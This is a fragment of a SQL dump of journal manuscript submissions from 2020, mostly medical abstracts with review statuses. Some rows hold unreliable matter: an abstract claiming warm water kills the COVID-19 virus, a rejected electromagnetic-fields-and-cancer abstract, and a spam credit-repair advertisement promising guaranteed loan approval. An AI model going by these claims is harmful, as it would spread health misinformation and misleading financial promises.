',0,NULL,NULL,NULL,0,0,0,NULL,0),(3867,5049,277,0,'ipadm-20-3867','El rol de los mitógenos en el análisis citogenético de la Leucemia Linfocítica Crónica y otras neoplasias de células B maduras ',NULL,5,0,NULL,'Las neoplasias de célula B madura son un grupo heterogéneo de tumores hematopoyéticos que derivan de cualquier etapa del desarrollo de células B maduras. El estudio citogenético en estas entidades permite detectar anomalías cromosómicas útiles en el establecimiento del diagnóstico, pronostico y en la elección de una terapia apropiada en los pacientes. Sin embargo, el estudio de estas anomalías a través del análisis de células en metafase presenta un grado elevado de dificultad debido a que las células B maduras no se someten fácilmente a la mitosis en los cultivos in vitro. Como alternativa, durante las últimas décadas los laboratorios de citogenética de todo el mundo han tratado de mitigar esta problemática mediante el uso de diferentes mitógenos con el fin de estimular las células B neoplásicas en los cultivos. La presente editorial pretende revisar el papel de estos agentes (mitógenos) en el análisis citogenético de neoplasias de células B maduras, con especial énfasis en la Leucemia Linfocítica Crónica.','Citogenética, Cultivo celular, mitógeno, Leucemia Linfocítica Crónica',2805,NULL,'2020-04-23',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3870,4566,45,0,'iphsj-20-3870','Analysis of the stress, anxiety and healthy habits in the Spanish COVID-19 confinement',NULL,14,0,NULL,'Objectives: These were to identify the perceived levels of stress and anxiety in the confined population, to identify if there is an evolution (increase or decrease) in time and provide health educational messages while participating in the study.\r\n\r\nMethod: Through a questionnaire sent via de social networks, the participants were requested to answer two standardized and validated tests (one on anxiety an done on stress levels) and the daily adherence to a series of habits.\r\n\r\nResults. The Stress and anxiety levels increase according to the age and the responsibilities associated with it. These levels increase in an initial moment, showing a decrease as the days in confinement increase. There is a confirmed relation between stress and anxiety and between these variables and the days in confinement. The adherence to healthy habits decreases as the days in confinement increase. In this sense, we have seen that the higher the age range the more adherence to healthy habits. \r\n\r\nFinal remarks. The data obtained showed the evolution of the three elements to study and also provided tools and tips for the participants so as to cope with the situation.','confinement, anxiety, stress, healthy habits',686,NULL,'2020-04-23',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3874,5068,86,0,'ipaom-23-3874','A meta-analysis on improving the outcomes of cardiopulmonary  resuscitation: Needs much more to be done!',NULL,15,3,NULL,'Objectives: The main objectives of current review and meta-analysis to highlight those approaches of CPR which can improve CPR quality, patient survival and better patient outcomes. \r\nMethodology: Preferred Reporting Items for systemic Reviews and Meta-analysis (PRISMA) statement was used for conduction of this review. The strategies and ways of improving CPR outcomes and survival rate were identified through systemic searches using three databases (PubMed, EMBASE and Cochrane Library) during March 2019 to August 2019. We extracted the following data from intervention as well as observational studies: first author, method of CPR, inclusion period, participants, survival rate and outcome measures.    \r\nResults: Twelve original articles (54,997 patients) were included. Different measures were recorded leading to increased survival rate and better outcomes, also some resulted into decreased outcomes like survival rate was decreased due to low bystander CPR rate, population density, traffic congestion delaying emergency response 1.4% (99% [CI], 0.8% to 2.4%). Ambulance response period longer than 5 minutes and individual having ventricular fibrillation has better outcomes 15% of 96 patients survived (95% [CI], 1.06-4.63,  P = 0.04). Maintaining the heart in ventricular fibrillation by bystander CPR by external chest compression (ECC) has a better survival rate 16% (13-19%). Under ideal conditions manual compression is comparable with mechanical compression. Load Distributing Band (LDB-CPR) has significantly increased < 0.05 the (Regional cerebral resuscitation) rSO2 during resuscitation of cardiac arrest patients. Integrated automated load distributing band (IA-CPR) has (1.06, 95% [CI], 0.83-1.37) beneficial outcomes. E-CPR in children with in-hospital CPR ≥ 10 minutes of time was found to have beneficial effects with favorable neurologic outcome when compared to conventional CPR (C-CPR). Novel strategies should be adopted earlier rather than traditional measures (0.84, 95% [CI], 0.72-0.98, P = 0.02). Out-of-hospital cardiac arrest, CPR performed by lay persons increases chances of survival (1.37, 95% [CI], 1.12-1.67, p<0.0001). Cardiac arrest in emergency unit, shorter duration of CPR and non-intubated status before arrest were independent predictors of good outcome (3.1, 95% [CI], 1.6–6.0). Implementation of community CPR training and CPR improved resuscitation education program for medical students result into better outcome (100% pass rate). In order to ensure that healthcare professionals have updated knowledge to avoid fatal outcomes and complications that need to be considered when developing education policies (1.51, 95% [CI], 1.13–2.03, p = 0.027). \r\nConclusion: A proper mechanism for traffic control in congested cities and quicker ambulance response, CPR by bystander, mechanical chest compression (Load distribution band CPR), (IA-CPR), E-CPR, novel strategies for traditional CPR, bystander CPR by lay person among out-of-cardiac arrest, implementing education and training programs among professional personnel and community CPR training and CPR awareness programs in education policies are the highlighted approaches from this meta-analysis that may enhance CPR survival outcome.','Mechanical compression devices, ECC, IA-CPR CPR education, CPR by bystander, novel CPR strategies, rapid emergency response',409,NULL,'2020-04-23',NULL,'Submitted',2,NULL,'2023-11-13',NULL,1,1,'0','send for revision do the changes according to reviewer suggestions',0,NULL,NULL,2,0,0,0,NULL,0),(3880,5074,326,0,'IPJUS-20-3880','Single stage procedure without fecal diversion for extraperitoneal rectovesical injury: a case report',NULL,2,0,NULL,'Penetrating rectal injuries themselves are associated with a 39–47% incidence of GU injury with the bladder being most frequently injured. Debridement of necrotic rectum with primary repair, proximal diversion, and the placement of an omentum pedicle flap between the rectum and GU injury have been recommended especially in cases of combined posterior bladder and anterior rectal injuries. High rates (24%) of rectovesical and rectourethral fistula are associated with combined GU and rectal injuries. We present a case with mid rectal injury with posterior and anterior urinary bladder wall injury with injury to right ureter managed by single stage resection of injured rectum with primary rectorectal anastomoses, repair of urinary bladder wall injury with right ureteric reimplantation without proximal diversion without any postoperative complications, the first case report of such management of rectovesical injury in the world.','penetrating trauma, rectovesical injury, right ureteric injury, single stage surgery',2505,NULL,'2020-04-24',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','This manuscript is accepted for further processing and publication.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3882,5066,667,0,'iptb-20-3882','Assessment of knowledge, attitude and practice towards risky sexual behaviors among adolescents of Mettu secondary and preparatory school, Ilu Aba Bora Zone, South western Ethiopia, 2019 ',NULL,14,0,NULL,'Abstracts\r\nBackground: Sexual risk behaviors are defined as sexual activities that may expose an individual to the risk of sexually transmitted infections (STIs) including HIV and unplanned pregnancies. Some of these behaviors include unprotected sexual intercourse, multiple sexual partners, forced or coerced sexual intercourse and sexual intercourse for reward. Therefore the aim of this study was to assess Mettu secondary and preparatory school adolescents knowledge, attitude, and practice towards risky sexual behaviors.\r\nMethods: Institution based descriptive cross sectional study was conducted among Mettu secondary and preparatory school students in Mettu town from 04 Feb 2019–07 June 2019. The study participant was selected through systematic random sampling techniques and the data was collected through self-administered questionnaires. A Total of 361 study subject was included in the study. Data was entered by EpiData and analyzed by using SPSS version 21.\r\nResults: Three hundred sixty one respondents were participated in this study, of those, 75.9% of them know risky sexual behaviors and about 76.5. % of them has awareness on consequences of unsafe sex. Among the total study participants, about 22.7% of them had practiced sex; of these 61.7% of respondents had more than one sexual partner. From the respondents who had practiced sex, 58.02% of them had always used condom during their sexual intercourse with their partners, while 16 (19.8%) of them never used condom during sexual intercourse.\r\nConclusions: Based on the findings of this study, majority of the respondents knew about risky sexual behavior and peer pressure was mentioned as a major factor that pushes the respondents towards their first sexual intercourse.','Key words \r\nAdolescents; Attitude; Knowledge; Practice; Risky sexual behaviors, Mettu',3322,NULL,'2020-04-24',NULL,'Submitted',1,NULL,'2020-07-21',NULL,1,1,'0','published in other journal.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3886,5079,45,0,'iphsj-20-3886','Impact of Physical Activity on Heart Rate, Blood Pressure and Rate-Pressure Product in Healthy Elderly ',NULL,14,0,NULL,'Objective: Heart rate (HR), blood pressure (BP) and rate-pressure product (RPP) are important prognostic factors of cardiovascular health. They all related to myocardial Ο2 uptake and hence myocardial work intensity, being important non-invasive and inverse indicators of myocardial economy. The study aimed to investigate the effect of physical activity (PA) on myocardial economy on healthy, elderly Greek individuals.\r\nMethods: 106 participants were enrolled in the study, 37 men and 69 women. The resting HR, systolic BP (SBP) and RPP were determined and recorded according to the latest guidelines. The IPAQ-GR questionnaire was applied to evaluate the participants’ level of PA.\r\nResults: The HR and SBP were significantly associated with PA class. PA class was inversely associated with HR in men (p=0.023) and SBP in women (p=0.009). The RPP was lower in participants with moderate PA class, compared to those with low PA, yet the correlation was not statistically significant. \r\nConclusion: Increased PA, from low to moderate level, significantly lowered HR in men and SBP in women. The RPP was found lower in healthy elderly subjects with higher levels of PA, but this association was not significant. Future research must be carried out to clarify how PA of longer duration and/or higher intensity may affect myocardial function and cardiovascular responses in healthy elderly individuals.\r\n',' blood pressure; elderly; heart rate; IPAQ; myocardial economy; physical activity; rate-pressure product ',3430,NULL,'2020-04-24',NULL,'Submitted',2,NULL,'2020-05-12',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3888,5082,73,0,'ipjnn-20-3888','Unusual Seizure Presentation in Early-Onset Alpers–Huttenlocher Syndrome',NULL,2,0,NULL,'DNA polymerase gamma-1 (POLG)-related disorders have a varying age of onset, different modes of inheritance, and a wide array of symptoms. Alpers–Huttenlocher syndrome (AHS) is the most severe subtype, with an autosomal recessive mode of inheritance. It can be caused by either homozygous or compound heterozygous mutations of the POLG gene. Both sexes are apparently equally affected, and early-onset cases present between 2 and 4 years of age. Diagnostic criteria include refractory seizures, hepatopathy, and psychomotor regression, with or without additional findings such as certain abnormal electroencephalogram (EEG) findings, elevated blood/cerebrospinal fluid lactate levels, myopathy, and/or a sibling with a confirmed diagnosis of AHS. Diagnosis is confirmed via POLG sequencing, liver biopsy, or (rarely, today) autopsy.\r\nHere, we present a case of AHS with an unusual presentation of abnormal, repetitive, one-sided neck movement, abnormal hand movement, and rolling back of the eyes, in a 4-year-old boy. His EEG findings, routine blood tests, and metabolic profile were within normal limits. Diagnosis of AHS was confirmed by targeted DNA sequencing, revealing a homozygous variant of POLG (c.3286C>T; p.Arg1096Cys), the same as that found in his deceased elder sister.','Alpers–Huttenlocher syndrome, polymerase gamma, seizure, hepatopathy, electroencephalogram',3431,NULL,'2020-04-24',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','accept with minor revisions',0,NULL,NULL,NULL,0,0,0,NULL,0),(3894,4360,45,0,'iphsj-20-3894','Level and predictive factors of unmet need for contraception in Ethiopian reproductive age women (15-19 years): Cross sectional analysis of Ethiopia Demographic and Health Survey 2016 data.',NULL,14,0,NULL,'Introduction:  Rates of unmet need for contraception remain highest in East Africa including Ethiopia, Kenya, Rwanda, Tanzania and Uganda.  One in every four women in their reproductive age had unmet need and exposed to the highest global burden of unintended pregnancy, unsafe abortion and maternal death.  Averting unmet need for contraception is crucial to achieve maternal mortality targets (70 per 100,000 live births) for the Sustainable Development Goals by the year 2030. \r\nObjective: The aim of this study was to assess the level and predictive factors of unmet need for contraception in Ethiopia women from secondary analysis of Ethiopia demographic and health survey 2016 data.\r\nMethod:  The study utilized secondary data from the latest of the 2016 Ethiopia Demographic and Health Survey. A total of 4,755 reproductive age women (15-49) were included in the study. The association of explanatory variables with dependent variable was examined using binary logistic regression models.\r\nResults: The unmet need for contraception was 42.2% in Ethiopia.  Age greater than 18  years (AOR=2.8, 95% CI: 1.8-4.2),  children numbers  greater than 6  (AOR=1.5, 95% CI: 1.3-1.7),  age at first birth  less than 18  years  (AOR=1.3, 95% CI: 1.2-1.6), decision maker in  children numbers  with couple (AOR=1.2, 95% CI: 1.0-1.4) and  husband alone (AOR=1.1, 95% CI: 0.9-1.2),  occupation with government worker (AOR=1.6, 95% CI: 1.3-2.0) , farmer (AOR=1.2, 95% CI: 1.1-1.4)  and housewife (AOR=1.6, 95% CI: 1.2-2.2) had significant association with increasing unmet need for contraception.\r\nConclusion: The magnitude of unmet need for contraception was still very high in Ethiopia. This study revealed that age of women, number of living children, age at first birth, decision maker in children numbers and occupation were the most significant predictors. These factors must be utilized to reduce the unmet need for contraception.','Associated Factors, Contraception, Unmet Need, Ethiopia, EDHS 2016',3202,NULL,'2020-04-25',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3898,5091,86,0,'ipaom-20-3898','THE FAMILY PHYSICIANS IN A TERTIARY SETTING IN COVID-19 PANDEMIC IN NIGERIA: THE ISTH EXPERIENCE',NULL,17,0,NULL,'N/A','',3386,NULL,'2020-04-25',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0',NULL,0,'','',3,0,0,0,NULL,0),(3902,5098,73,0,'ipjnn-20-3902','Evaluation of Bacosides and Lauric acid Nanoformulations in regulation of Neuronal and Epigenetic markers in primary culture of mouse cortical neurons: A comparative study to Rivastigmine, a synthetic analog',NULL,14,0,NULL,'Research indicates a strong relationship between disruption of neural network and pathological perturbations of brain functions. Therefore, therapeutic strategies for neurodegenerative disorders emphasize on identification of compounds that can rebuild loss of neuronal connectivity as well enhance the existing framework. However, heterogeneity of pathways and hindrance of blood brain barrier (BBB) permeability poses a major pharmacological challenge leading to inefficacy of FDA approved drugs like Rivastigmine. Therefore focus is shifting to multi targeted and less toxic herbal compounds. Previously, we reported that Bacosides (active component of Bacopa monniera) encapsulated in targeted Lactoferrin-conjugated tri-block PEG-PLA-PCL-OH polymersomes (BAN) was more efficient in restoring scopolamine impaired memory than its natural form. Given the concept of higher therapeutic efficacy of polyherbal formulations, here we investigated the co-administering effect of BAN and coconut oil derived Lauric acid encapsulated in targeted Lactoferrin-conjugated tri-block PEG-PLA-PCL-OH polymersomes (LAN) on scopolamine challenged neurons. BAN and LAN co-administration showed marked neuroprotection and also promoted neurogenesis, neurodifferentiation, neuritogenesis and neurite elongation of mouse neuroblastoma and primary neuronal cells. Cellular changes were accompanied with upregulation of neurotrophic factor BDNF and neuronal activity dependent Arc gene expression. Further, investigations into epigenetic changes, pivotal for neural cell fate determination and differentiation revealed DNMTs (DNA (cytosine-5)-methyltransferase) and HDACs (Histone deacetylases) inhibition by BAN and LAN combined treatment. Overall our study revealed neuroprotection and neuroenhancement by BAN-LAN combination better than Rivastigmine and Rivastigmine encapsulated in Lactoferrin-conjugated tri-block PEG-PLA-PCL-OH polymersomes (RiN) possibly through epigenetic modification of neuronal genes.','Bacoside; Epigenetic; Lauric Acid; Neurite Growth; Rivastigmine',350,NULL,'2020-04-26',NULL,'Submitted',4,NULL,'2020-06-05',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3926,5123,326,0,'IPJUS-20-3926','Transverse colon intussusception caused by a submucosal lipoma',NULL,2,0,NULL,'We present the case of a 40-year-old male with worsening left upper quadrant abdominal pain.\r\nWorkup with computed tomography (CT) found an intussusception in his distal transverse colon.\r\nHe did not have signs of peritonitis or obstruction on examination, and he did not have signs of\r\nbowel ischemia on laboratory studies or imaging. The intussusception was found to be\r\nspontaneously resolved on contrast enema 1 day after presentation. A large, ulcerated mass was\r\nfound in the transverse colon during colonoscopy, at the level of the suspected intussusception,\r\nand there were no synchronous lesions. The patient underwent an open right hemicolectomy for\r\ndefinitive resection and was discharged after an uneventful hospitalisation on postoperative day 5.\r\nOn final pathology, the mass was found to be a large submucosal lipoma with necrosis and\r\nulcerations.','',2505,NULL,'2020-04-28',NULL,'Submitted',4,NULL,'2020-06-06',NULL,1,1,'0',NULL,0,'','',2,0,0,0,NULL,0),(3935,5132,45,0,'iphsj-20-3935','Blood Donation Practice and Associated Factors among College Students in Kolfe Keraniyo Sub City, Addis Ababa, Ethiopia',NULL,14,0,NULL,'Abstract\r\nIntroduction: Availability of blood for transfusion is limited in Ethiopia, as is voluntary blood donation. Evidence relating to practice on blood donation among Ethiopians is also scarce. Therefore, assessing the level of blood donation practice and its determinants among students has a paramount importance in designing an effective strategy for sustaining adequate and safe blood provision. Hence, this study aimed to assess blood donation practice and associated factors among college students in Kolfe Keraniyo Sub City, Addis Ababa, Ethiopia.\r\nMethods and materials: Institution based cross-sectional study was conducted among 354 college students from August 23, 2019 to October 7, 2019. The study participants were selected by multi stage sampling technique. A pre tested self-administered structured questionnaire was used to collect data. Binary logistic regression analysis was used to identify factors associated with blood donation practice.\r\nResult: Out of 349 sampled college students 34.4% of participants had donated blood so far. The result showed that study participants aged 21-23 and 24 and above years were 2.23 and 3.38 times more likely to donate blood compared to study participants aged 18-20 years (AOR =2.23 (95% CI: 1.15, 4.33)) and (AOR =3.38 (95% CI: 1.52, 7.50)) respectively. Health science student were 3.06 times more likely to donate blood than non-health science students (AOR =3.06 (95%CI: 1.65, 5.67)). College students who were knowledgeable about blood donation were 7.99 times more likely to donate blood compared to those who were not knowledgeable (AOR=7.99 (95%CI: 3.99, 16.02)). Study participants who said the Blood Bank working hour is convenient were 2.12 times more likely to donate blood compared to those who said the working hour is not convenient (AOR=2.12 (95% CI:1.07, 4.19)).\r\nConclusion: Blood donation practice of college students was found to be low. Age, knowledge of blood donation, department and blood bank working hour convenience were significantly associated with blood donation practice. Hence, providing repeated blood donation awareness campaigns in the colleges and ongoing educational and motivational activities to encourage voluntary blood donation by the students.\r\n\r\n','Keyword: Blood donation, Practice, Students, College, Addis Ababa, Ethiopia ',643,NULL,'2020-04-28',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(3938,5137,86,0,'ipaom-20-3938','Determinants of Covid-19 Anxiety in Pakistan Through Binary Logistic Regression',NULL,14,0,NULL,'Abstract\r\nObjective: To evaluate the determinants of Anxiety among the people living in hassled environment for last few weeks due to outbreak of COVID-19.\r\nMethods: 279 participants were interviewed  through a questionnaire  about COVID-19 anxiety on four likert scales. Data was analyzed using IBM SPSS Statistics 21 statistical software. A binary logistic regression was used to estimate relationship between dependant variable Anxiety and independent variables. Significance of these factors are tested at 5 percent level of significance (α=0.05).\r\nResults: \r\n 90.33 percent of the respondents are feeling COVID-19 anxiety while 9.67 percent peoples are taking it mild. The values of test statistics for the variables listening of T.V news, social media news, social isolation, disturbance of sleep and decrease in daily income are highly significant at p < 0.05.\r\nConclusion: The occurrence of anxiety was found to be highly significance due to listening of T.V news, social media news, social isolation, disturbance of sleep and decrease in daily income.\r\n',' COVID-19, Anxiety, T.V news, social media news, social isolation and binary logistic regression.',3386,NULL,'2020-04-28',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0',NULL,0,'','',2,0,0,0,NULL,0),(3970,5169,959,0,'ipacr-20-3970','Functional Changes of Cells and DNA by Electromagnetic Waves in the Case of Cancer',NULL,14,0,NULL,'The co-authors of the research are Reneta Toshkova, Elisaveta Zvetkova ,Georgi Gluhchev.\r\nStudies were conducted with model systems of influence of Drossinakis with electromagnetic (e.m.) fields and infrared thermal field (ITF) (Ignatov, Mosin, Niggli, Drossinakis, 2013). The purpose of research is to analyze effects over DNA. In the report is carried out analysis of effects over water and physiological saline. Results are achieved with blood serum of hamsters and physiological processes in hamsters with tumors. The analyses with water are conducted using the methods Nonequilibrium Energy Spectrum (NES) and Differential Nonequilibrium Energy Spectrum (DNES) (Antonov, 1992; Ignatov, 1998). Experiments are carried out with the influence of tumor cells of a mouse in water. It is observed reduction of DNES spectrum according to the control sample of cells in healthy animals. (Antonov, 1992). Reduction is also observed in DNES spectrum in blood serum of people having oncological diseases, compared to the one of healthy people (Ignatov, 2012). Such a reduction is most prevalent in (-0.1387 eV; 8.95 µm; 1117 cm-1). In research of the effects of e.m. fields in water and blood serum from hamsters the range is (-0.08 – -0.14 eV) (8.9 –15.5µm) (645–1129 cm-1). Research is conducted for the effects over Graffi tumor that was implanted in hamsters (Toshkova, Ignatov, Zvetkova, Ignatov, Gluhchev, Drossinakis, 2019).  Studies are conducted with pH and oxidation redox potential (ORP) effects of e.m. fields over physiological saline (Gluhchev, Ignatov, Drossinakis, 2019).\r\n','Infrared thermal field (ITF), electromagnetic fields (e.m. fields), experimental Graffi solid tumor, energy spectrum, NES and DNES methods. ',2817,NULL,'2020-05-01',NULL,'Submitted',4,NULL,'2020-07-08',NULL,1,1,'0','Reject',0,'923','ashwini_c@euroscicon.co.in',2,0,0,0,NULL,0),(3971,5170,45,0,'iphsj-20-3971','COVID-19 War: United Kingdom’s Strategy',NULL,11,0,NULL,'The UK Government has been strongly criticised for its approach in fighting the war against COVID-19. No war can be won if those fighting are not adequately protected from the enemy, or adequately equipped to fight. Despite repeated pleas from British Medical Association (BMA) and others, there has been major concern regarding lack of effective personal protecting equipment (PPE) for the frontline health workers till date. With rising deaths among the frontline health workers, it is increasingly clear the UK Government has broken its promise and failed this very group on whom we depend to fight the war. The same holds true with availability of ventilators or diagnostic tests.','COVID-19; War; Strategy',643,NULL,'2020-05-01',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3972,5171,45,0,'iphsj-20-3972','Perceived Challenges of Working Environment among Emergency Department Nurses in Saudi Arabia',NULL,15,0,NULL,'Background: Emergency room nurses are faced with many challenges related to the nature of complex practices and the environment. Research has approved a number of characteristics of emergency department nurses in order to fulfill the required role.\r\nObjectives: To determine the perception of nurses of the Emergency Department to the challenges associated with their working environment.\r\nMethods:  A cross-sectional design was used in four selected governmental hospitals in Hail. Among one hundred and seventy-five of Emergency registered nurses; One Hundred and Fifty-Eight emergency registered nurses were recruited conveniently based on the inclusion criteria. A closed ended questionnaire sheet was marked out by all the selected nurses to determine their perception towards challenges associated with their working environment.\r\nResults: In this study among the total population of Emergency Room staffs, 90 % of staffs were included; ages ranged between 23-29 yrs were 77.8%. Majority of female nurses were 88.6% most of the sample 83.5% hold bachelor’s degree in nursing. Moreover, 48.7% practicing as a nurse about 1-4 yrs. The ER nurses ranged from 1- 4 yrs of experience were 75.9%. Majority of 79.7% were working as a staff Nurse. More than half of the Non-Saudi were working in ER was 54.4%. The variables under the quality of environment for professionals, most of them shows bad perception in working environment so far in comfort zone were 27.8%, nursing assistance and technician, hours of work shift have higher in bad perception overall level of 22.7%. In regards the Cleaning were 29.7%, Quality of materials were 37.9%, Physician were 36.7%, Number of calls per shift were 39.2%. In determining the perception of Emergency Department nurse towards challenges associated with their working environment shows higher perception level with the mean value of 32.03 and standard deviation was 5.6.\r\nConclusion:\r\nFrom this study we concluded that, the healthcare policy makers may have concern about health care providers. The working condition of the Emergency Room nurses Perceived that they have somewhat discouragement in their working environment. Some changes in reimbursement and the practice of health care delivery required hospital to change the way they operate. These results will also propagate the managers to re-define a development plan for the Emergency Department working Environment of the selected Hospitals, in hail.','Nurse, Perception, Emergency Department, Challenges, Working Environment',686,NULL,'2020-05-01',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3974,5175,73,0,'ipjnn-20-3974','Normative Data of the Corpus Callosum Index and Discriminant Validity in Patients with Multiple Sclerosis',NULL,14,0,NULL,'Background: The corpus callosum (CC) plays an important role in many cognitive and behavior functions and can be easily identified by conventional Magnetic Resonance Imaging (MRI). For these reasons, its integrity has been used as predictor of symptoms in different pathologies. \r\n\r\nMethods and Findings: to provide standardized data of the corpus callosum index (CCI) and obtain a cut-off point as a possible early marker of cognitive impairment in multiple sclerosis (MS), 209 healthy subjects and 96 patients were consecutively evaluated with a brain MRI scanning protocol.CCI was measured by two blinded raters. ROC curves were obtained for the total of sample and subgroups and the Youden Index was calculated to indentify the best cut-off points.\r\nNormative data of CCI are presented by age. No sex differences were found.  Cut-off points were established for subjects in different age groups. \r\nConclusions: CCI Cut-off values could be useful to identify alarm points below which we could think of inquiring about deficits that are not currently \"visible\". Longitudinal evaluations will enable us to know if CCI is an early marker of cognitive damage in MS.\r\n','Normative data; Multiple Sclerosis; Corpus Callosum Index; Cutt-off points; Cognitive impairmente',337,NULL,'2020-05-01',NULL,'Submitted',2,NULL,'2020-07-21',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(3980,5181,971,0,NULL,' Worried about your CIBIL Score? Rectify Cibil might just help you in your need',NULL,8,0,NULL,'\r\n\r\nIf you are in need to improve your CIBIL Score, Rectify Cibil might just be the thing that you need at the end of the day. We at Rectify Cibil, a CIBIL Score Improvement agency, have transformed the way how you can improve your CIBIL Score. \r\n\r\nOur team of expert advisors will guide you in the cibil rectification finding out the best solution for improving your CIBIL Score.\r\n\r\nWe also have a free credit score calculator that is going to help you calculate your credit score for free. Then our professionals will guide you through the process of improving your score. \r\n\r\nA good CIBIL score will help you with cheaper interest rates, credit with better benefits and rewards and also get pre-approved loans. It will help you get loans with longer tenure, quick approval on credit applications and also discount on loan processing fees and other charges. We all like higher credit limits and a good CIBIL score will also help in raising your credit limit.\r\n\r\nThink CIBIL. Think Rectify CIBIL. That is the amount of trust that we have among our peers’ when it comes to CIBIL Problem, CIBIL Issues, CIBIL Report, CIBIL Dispute have made us the best CIBIL repair group in India. \r\n\r\nAbout Rectify Cibil:\r\n\r\nRectify CIBIL is a CIBIL Score improvement agency that will help you improve your CIBIL Score no matter how grave the situation is. The company has partnered with all major banks in India and they guarantee you that you will successfully have your loan application accepted, all thanks to their amazing team of dedicated professionals who are always there to help you. ','CIBIL Score, Rectify Cibil ,Rectify Cibil, a CIBIL Score Improvement agency',3249,NULL,'2020-05-02',NULL,'Submitted',4,NULL,'2020-05-30',NULL,1,0,'1',NULL,0,'','',2,0,0,0,NULL,0),(3983,5183,667,0,'iptb-20-3983','Antibiotic abuse and development of bacterial resistance in Libya',NULL,15,0,NULL,'Background: Antibiotic abuse and the Resistance to antimicrobial agents is a major health problem that\r\naffects the whole world, Providing Information on the past state of antimicrobial resistance in Libya may assist\r\nthe health authorities in addressing and reduce the problem more effectively in the future.\r\nAim: the aim of this literature review is to detect the rate of the development of the antibiotic resistant\r\nbacteria and the antibiotic abuse by either the healthcare providers or the patients.\r\nMethods: data and information were obtained from 1 article and 5 published studies about Libya by using\r\n(PubMed) and (Google scholar) using the terms ‘antibiotic resistant bacteria’ ‘multidrug resistant bacteria in\r\ndeveloping countries’ ‘antibiotic abuse in north Africa’ however the data on Libya were very scarce.\r\nResults: according to the data we examined in each study they showed evidences of the multidrug resistant\r\nbacteria isolated and cultured from different sources (urine, burns, pus, sputum, blood ,patient’s environment) a\r\ntotal of 1927 sample were collected and reviewed, results showed a high resistant strains of (Mycobacterium\r\ntuberculosis, Escherichia coli, klebsiella, pseudomonas, staph aureus, proteus, Acinetobacter baumannii ) these\r\nbacteria showed a high rate of resistance to the majority of antibiotics including (Augmentin, ceftriaxone,\r\nciprofloxacin, ceftazidim ) other bacteria were found to be resistant to (Gentamicin, Amikacin) and few of them\r\nwere even registred to be fully resistant to antibiotics including (meropenem) and most of them were found to be\r\nhighly sensitive to (colistin)','Antimicrobial resistance, Antibiotic Abuse, Antibiotic susceptibility, bacterial\r\nresistance',3459,NULL,'2020-05-03',NULL,'Submitted',1,NULL,'2020-07-23',NULL,1,1,'0','published in Journal of Infectious Diseases and Therapy  journal.',0,'','',NULL,0,0,0,NULL,0),(3985,5185,975,0,'ipjbs-20-3985','Immunity boosting measures during COVID-19',NULL,5,0,NULL,'Coronavirus disease (COVID-19) is an infectious disease caused by a new virus.\r\nThe disease causes respiratory illness (like the flu) with symptoms such as a cough, fever, and in more severe cases, difficulty breathing. You can protect yourself by washing your hands frequently, avoiding touching your face, and avoiding close contact (1 meter or 3 feet) with people who are unwell. Coronavirus disease spreads primarily through contact with an infected person when they cough or sneeze. According to Ministry of AYUSH, the body’s natural defence system (immunity) plays an important role in maintaining optimum health. The best way to prevent and slow down transmission is be well informed about the COVID-19 virus, the disease it causes and how it spreads. Protect yourself and others from infection by washing your hands or using an alcohol based rub frequently and not touching your face. The very first and easy way to boost the immunity and kill the virus, is to drink  warm water throughout the day. It is further also advised to take steam once a day. To practice the Yogasana, Pranayama and meditation for at least 30 minutes daily.To use Dhaniya(Coriander), Haldi(Turmeric), Jeera(Cumin) and Lahsun(Garlic) in cooking. It is also advised to use Half teaspoon Haldi with 150 ml of Hot milk, once or twice a day. To take Chyavanprash 10 mg in the morning.\r\n','COVID-19, Pandemic, Immunity, AYUSH ',3460,NULL,'2020-05-03',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','can publish the work',0,'','',NULL,0,0,0,NULL,0),(3986,5186,971,0,'ipaclr-20-3986','Performance evaluation of malaria Pf/Pv combo test kit at highly malaria-endemic area, Southern Ethiopia.',NULL,14,0,NULL,'Background: Malaria rapid diagnostic tests (RDTs) are alternative diagnostic methods that have enabled reliable biological diagnostic testing in all situations where previously only clinical diagnosis was available. Varying diagnostic accuracy of malaria RDTs makes policymakers confused while choosing malaria test kits for their country. \r\nObjective: The aim of this study was to evaluate the diagnostic performance of currently being used malaria RDT in Southern Ethiopia. \r\nMethods: A cross-sectional study design was conducted from October 1 up to December 15, 2016. A total of 160 patients were included in the study. Finger prick blood sample was obtained from study subjects for RDT test and microscopic examination. Collected data were entered and analyzed using SPSS version 20.0. \r\nResult: The test kit evaluated had an overall sensitivity, specificity, PPV, and NPV of 97.44%, 93.67%, 93.83%, and 97.37% respectively to detect the presence or absence of malaria. Sensitivity and specificity of the kit for p. falciparum detection was 63.27 % and 94.3% and for p.vivax detection was 86.96 % and 95.62 % respectively. The agreement between microscopy and RDT for specific identification of malaria species was moderate with a kappa value of  0.568. \r\nConclusion: The overall performance of the kit was below WHO standard. Further study on a large sample size is recommended to be carried out in the study area to use the test kit instead of microscopy for malaria diagnosis. Providing training on quality malaria laboratory diagnosis and availing necessary supplies for malaria diagnosis shall also be considered.','Malaria; RDTs; mRDTs; performance; 